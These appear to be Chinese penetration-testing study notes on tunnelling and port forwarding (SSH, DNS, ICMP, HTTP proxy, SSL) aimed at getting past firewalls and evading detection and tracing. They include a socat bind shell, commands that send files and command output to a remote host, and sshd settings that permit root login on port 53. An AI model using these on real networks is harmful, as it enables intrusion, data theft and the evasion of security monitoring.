流量操控技术和隧道
渗透测试中经常遇到访问受限的网络环境
使用隐藏的手段逃避安全检查措施和溯源追踪
证明看似严格的访问控制仍然存在弱点
在非受信任的网络中实现安全的数据传输
分类
重定向
IP、Port(端口)
隧道
在不受信任的网络中实现安全的通信
通常使用多种加密技术建立通信隧道。
隧道分类:点到点(IP2IP)、端到端(Port2Port隧道)。
VPN:pptp、l2tp、IPSec、SSL VPN
封装
通常结合在隧道中使用,使用一种协议封装一种协议,
使用网关设备实现不同类型网络的互联互通
重定向
Rinetd
安装:apt-getinstall rinetd
配置:vim /etc/rinetd.conf
在这里的bindaddbindpoer connectadd connectport 下面
添加 绑定地址、监听端口、转发地址、转发端口
运行:rinetd
应用场景
重定向web流量,突破上网限制
远程桌面重定向
NC重定向获得shell
不兼容FTP等二次连接的协议

SSH隧道
ssh支持双向通信隧道
将其他TCP端口的通信通过SSH连接来转发
用SSH作为传输层协议,对流量自动加解密
突破防火墙范文规则的限制,可用于翻墙
SSH本地端口转发
是效果类似于rinetd
将一本地端口与远程服务器建立隧道

本地端口转发
本地侦听端口,访问转发到远程主机指定端口
远程端口转发
远程侦听端口,访问转发到本机主机指定端口
动态隧道模式
当目标主机不定时,我们就想要使用动态端口转发
ssh本地端口转发设置
先在kali上启动ssh
service ssh restart
在ssh模式下不能直接使用root账号,所以要先对其进行修改
进入配置文件
vim /etc/ssh/sshd_config
将一下配置进行修改
PermitRootLoginyes 允许root进行登录
Port53 修改侦听端口,防火墙默认是只侦听22端口,所以改为53端口
PasswordAuthenticationyes 将进行密码身份认证改为yes,默认是注释掉的
本地端口转发配置的命令
ssh -fNg -L <listen port>:<remoteip>:<remote port> user@<ssh server> -p <ssh server port>
<侦听端口>:<远程 IP>:<远程端口> user@<SSH 服务器> -p<SSH 服务器端口>
ssh -L 7001:192.168.1.124:80 root@192.168.1.118 -p 53
ssh -fNg -L <listenport>:localhost:<remote port> user@<ssh server> -p <sshport>
<侦听端口>:本地主机:<远程端口> user@<SSH 服务器> -p<ssh 端口>
-f 后台运行进程
-N 选项表示不执行远程命令,只用于转发端口,及本地主机在登录了192.168.0.3后,不会分配一个tty窗口
-L 表示这是个本地转发模式
-g 复用访问时作为网关,支持多主机访问本地侦听端口
-C 连接过程进行压缩,可以节约连接的时间
网关模式转发RDP、NC shell
端口转发基于建立起来的SSH隧道,隧道中断则端口转发中断
只能在建立隧道时创建转发,不能位已有隧道增加端口转发
ssh远程端口转发
由于ACL等原因,SSH与应用连接建立方向相反
本地端口转发
ssh客户端+应用客户端位于FW一端
ssh服务端+应用服务端位于另一端
远程端口转发
ssh客户端、应用客户端位于FW两端
ssh服务端、应用服务端位于FW两端

远程端口转发的配置命令
先在kali上启动ssh
service ssh restart
在ssh模式下不能直接使用root账号,所以要先对其进行修改
进入配置文件
vim /etc/ssh/sshd_config
将一下配置进行修改
PermitRootLoginyes 允许root进行登录
Port53 修改侦听端口,防火墙默认是只侦听22端口,所以改为53端口
PasswordAuthenticationyes 将进行密码身份认证改为yes,默认是注释掉的
ssh -fNg -R <listen port>:<remoteip>:<remote port> user@<SSH server> -p <ssh server port>
<监听端口>:<远程 IP>:<远程端口> user@<SSH 服务器> -p<ssh 服务器端口>
-R 表示的是远程端口转发模式
之所以称为远程,是因为SSH侦听端口开在远程的SSH Server上
侦听端口永远开在应用客户端一方
WEB、RDP、NC应用端口转发演示
(A)<->(C) 以及(B)<->(D)之间通信未加密,可嗅探

本地、远程端口转发的弊端
本地、远程端口转发都需要固定应用服务器IP、Port
应用端口繁多,逐个转发效率低
某些应用不固定端口
某些网站不支持IP直接访问
基于本地、远程弊端而来的动态端口转发
由SSHserver 决定如何转发
作为翻墙代理使用
配置客户端代理(浏览器)
使用proxychains支持无代理客户端
ssh动态端口转发配置命令
ssh -CFNg -D 7001 root@1.1.1.1 -p 2121
当本地主机登录远程服务器后,7001端口所收到的数据将会转发到服务器1.1.1.1的2121端口上,再由这台服务器为我们动态的转发到目标地址。
-D 表示使用动态端口转发模式
7001 表示本地主机要绑定的端口
X协议转发
远程登陆llinuxGUI运行图形化界面工具
VNC
如何使用VNCVNC的安装与使用(Windows环境下使用VNC进行远程桌面控制) - 简书 (jianshu.com)
X Windows
如何安装X Windows(1条消息) Linux下的图形界面——X Window的安装_Wentasy的博客-优快云博客
防火墙限制访问时
基于SSH的X转发
ssh-X user@1.1.1.1-p 53
-X 就可以把远程的窗口带到本地
DNS协议隧道
什么情况下使用DNS隧道
防火墙禁止TCP出站访问流量
SSH隧道、端口转发全部失效
使用基于UDP协议的隧道
DNS的工作原理适用于实现隧道

DNS隧道分为IP直连型和域名中继型两种
IP直连型是攻击者的VPS客户端直接和指定的目标DNS服务器建立连接,然后传输数据编码封装在DNS协议中传输。其优点是速度非常快,
缺点是不隐秘,而且极易被溯源
域名中继型是通过DNS的迭代查询而实现的DNS隧道。
其优点是隐秘,部署的成功性高,
缺点是速度较慢。
DNS工作原理
注册受自己控制的DNS记录
dns2tcp(用于分析DNS协议隧道的工具)
(1条消息) 使用dns2tcp搭建DNS隧道_Werneror的博客-优快云博客
安装并配置dns2tcp
sudo apt-get install dns2tcp
服务端
打开配置文件并对其进行修改
vim /etc/dns2tcpd.conf
将以下内容进行修改
listen = 192.168.10.88(本机IP)
port = 53
user = nobody
chroot = /var/empty/dns2tcp/
# 连接密码
key = 123456
# 解析的域名
domain = abc.com
# 提供出来可使用的资源列表
resources = ssh:127.0.0.1:22,http:127.0.0.1:8080
这里可以根据自己的需要进行修改
运行dns2tcpd
dns2tcpd-F -d 1 -f /etc/dns2tcpd.conf
-F 前端运行
-d debuglevel 1-3
-f 指定配置文件
iodine(基于DNS查询的隧道工具)
DNS隧道工具:iodine使用 -micr067 - 博客园 (cnblogs.com)
与同类工具相比的优点
对下行数据不进行编码,因此性能优
支持多平台:linux、BSD、Mac OS、Windows
最大16个并发连接
强制密码支持
支持同网段隧道IP(不同于服务器、客户端网段)
主持多种DNS记录类型
丰富的隧道质量检测措施
安装iodined
apt-get install iodine
运行iodine服务端iodined
iodined-f -c 10.0.0.1 test.lab.com
-f 在前台运行
-c 禁止检查所有传入请求的客户端IP地址
-IP 服务器端的隧道IP地址
运行客户端
iodine -f test.lab.com
curl –socks5-hostname 127.0.0.1:7001 http://www.sina.com
隧道网络接口
不基于资源的通用隧道,如同本网段内两台相邻的主机
服务器端何客户端分别生成隧道网络接口dns0
隧道两端接口的IP地址应不同于客户端和服务器端网段
基于次隧道可镶套其他隧道技术
ssh-CfNg -D 7001 root@10.0.0.1
安装TAP网卡驱动
https://openvpn.net/index.php/open-source/downloads.html
只安装TAPVirtual Ethernet Adapter和所有依赖包
Windows客户端
iodine -f test.lab.com
建立SSH隧道
NCAT(瑞士军刀—nc的加强版)
代理功能
ncat-l 8080 –proxy-type http –proxy-auth user:pass
Broker中介功能
AB不同但AC、BC互通
服务器:ncat -l333 –broker
客户端之间发送任何信息都会被hub到其他客户端
批量执行命令:ncat1.1.1.1 –sh-exec “echo ‘pwd’”
批量传文件:ncat–send-only 1.1.1.1 <inputfile
ncat侦听端口
ncat -l 80
其他的使用技巧
(2条消息) ncat详细介绍_demon7552003的博客-优快云博客_ncat
SOCAT(增强为nc++,增强增强版的nc)
双向数据流通道工具
Socat 入门笔记 - 太子丶 - 博客园 (cnblogs.com)
连接端口
socat - tcp:1.1.1.1:80
侦听端口
socat - tcp4-listen:22 / socat -tcp-l:333
接收文件
socat tcp4-listen:333 open:2.txt,creat,append
发送文件
cat 1.txt | socat – tcp4:1.1.1.1:333
远程shell—服务器端
socat tcp-l:23 exec:sh,pty,stderr
端口转发
socat tcp4-listen:22,fork tcp4:1.1.1.1:22
远程执行命令
服务器:socat– udp-l:2001
客户端:echo“`id`” | socat - udp4-datagram:1.1.1.1:2001
UDP全端口任意内容发包
for PORT in {1..65535}; do echo “aaaaa" |socat - UDP4-DATAGRAM:1.1.1.1:$PORT; sleep .1; done
ptunnle(建立icmp隧道传输数据的工具)
适用条件
防火墙只允许ping出站流量,利用ptunnel建立icmp隧道,从而实现传输数据
优点
支持多并发连接、性能优
支持身份验证
需要root权限
支持抓包
windows:winpcap
linux:libpcap
服务器
ptunnel-x 1234
客户端
sudoptunnel -p proxy -lp 2222 -da destination -dp 22 -x 1234
嵌套SSH隧道
ssh-CNfg -D 7000 root@127.0.0.1-p 2222
proxytunnle
通过标准的HTTP/HTTPS代理创建隧道的工具
通过HTTPCONNECT方法封装信息
适用于内网适用代理并且防火墙只允许代理服务器上网的场景
无法创建DNS隧道和ICMP隧道
实验一:将外网资源映射位内网指定端口
内网安装squid3代理、proxytunnle
vi /etc/squid3/squid.conf
/^http_port
/^http_access
/^acl
创建隧道
proxytunnle -a 80 -p 127.0.0.1:3128 -d192.168.1.1:80

实验二:外网资源非防火墙允许端口
修改目标资源侦听端口可能无法躲避防火墙深层检测
外网安装squid3代理服务器并侦听80端口
创建隧道
proxytunnle -a 80 -p 127.0.0.1:3128 -r192.168.1.1:80 -d 192.168.1.1:22

实验三:ssh客户端配置自动创建代理链隧道
vi ~/.ssh/config
Host192.168.1.1
Hostname 192.168.1.1
ProtocolKeepAlives 30
ProxyCommand /usr/bin/proxytunnel -p1.1.1.1:3128 -r 192.168.1.1:80 -d %h:%p
sslh
(2条消息) Kali linux 学习笔记(七十)隧道——sslh 2020.4.12_思源湖的鱼的博客-优快云博客
端口分配器
根据客户端第一个包检测协议类型
根据协议检车结果将流量转发给不同目标
支持HTTP、HTTPS、SSH、OpenVPN、tinc、XMPP和其他基于正则表达式判断的人和协议类型
适用于防火墙允许443端口入站访问流量的环境

配置文件
vim /etc/default/ssh

安装HTTPS站点
安装IIS服务、证书服务
部署HTTPS站点
启动本地HTTP服务
防火前端口映射TCP/443
stunnel4
使用stunnel来创建加密通道,实现加密传输数据- 我是一条最咸的咸鱼 - 博客园 (cnblogs.com)
无需修改源代码的情况下将TCP流量封装于SSL通道内
适用于本身不支持加密传输的应用
支持openssl安全特性
跨平台
性能优

stunnel简单示意图

Stunnel是一个自由的跨平台软件,用于提供全局的TLS/SSL服务。作为一个小巧的跨平台(Unix/Linux和Windows)的开源(GNU)项目,提供了以下2个主要功能:
针对本身无法进行TLS或SSL通信的客户端及服务器,Stunnel可提供安全的加密连接(基于OpenSSL)。
针对有访问限制的局域网,Stunnel提供加密的SSL连接解除防火墙和代理的限制直接和远端服务器理论上的任何网络服务连接。我们知道一般局域网都会开放443端口用于加密的HTTP连接,我们可以利用这点用Stunnel和远程端口443创建一个SSL连接,防火墙和代理会认为这个连接是正常的HTTPS连接而允许通过。
其余操作可以参照
服务端和客户端的配置可以参照如下
使用stunnel来创建加密通道,实现加密传输数据- 我是一条最咸的咸鱼 - 博客园 (cnblogs.com)
Stunnel4自动启动
进入配置文件修改如下内容
vim /etc/default/stunnel4
ENABLED=1
启动stunnel4服务端
service stunnel4 start
防火墙规则
端口映射TCP/443端口到stunnel4服务端TCP/443
设置防火墙规则
客户端自动启动
vim /etc/default/stunnel4
ENABLED=1
启动客户端服务
service stunnel4 stop / start
Mysql客户端连接服务器
mysql -u root -h 127.0.0.1
抓包对比隧道前后差异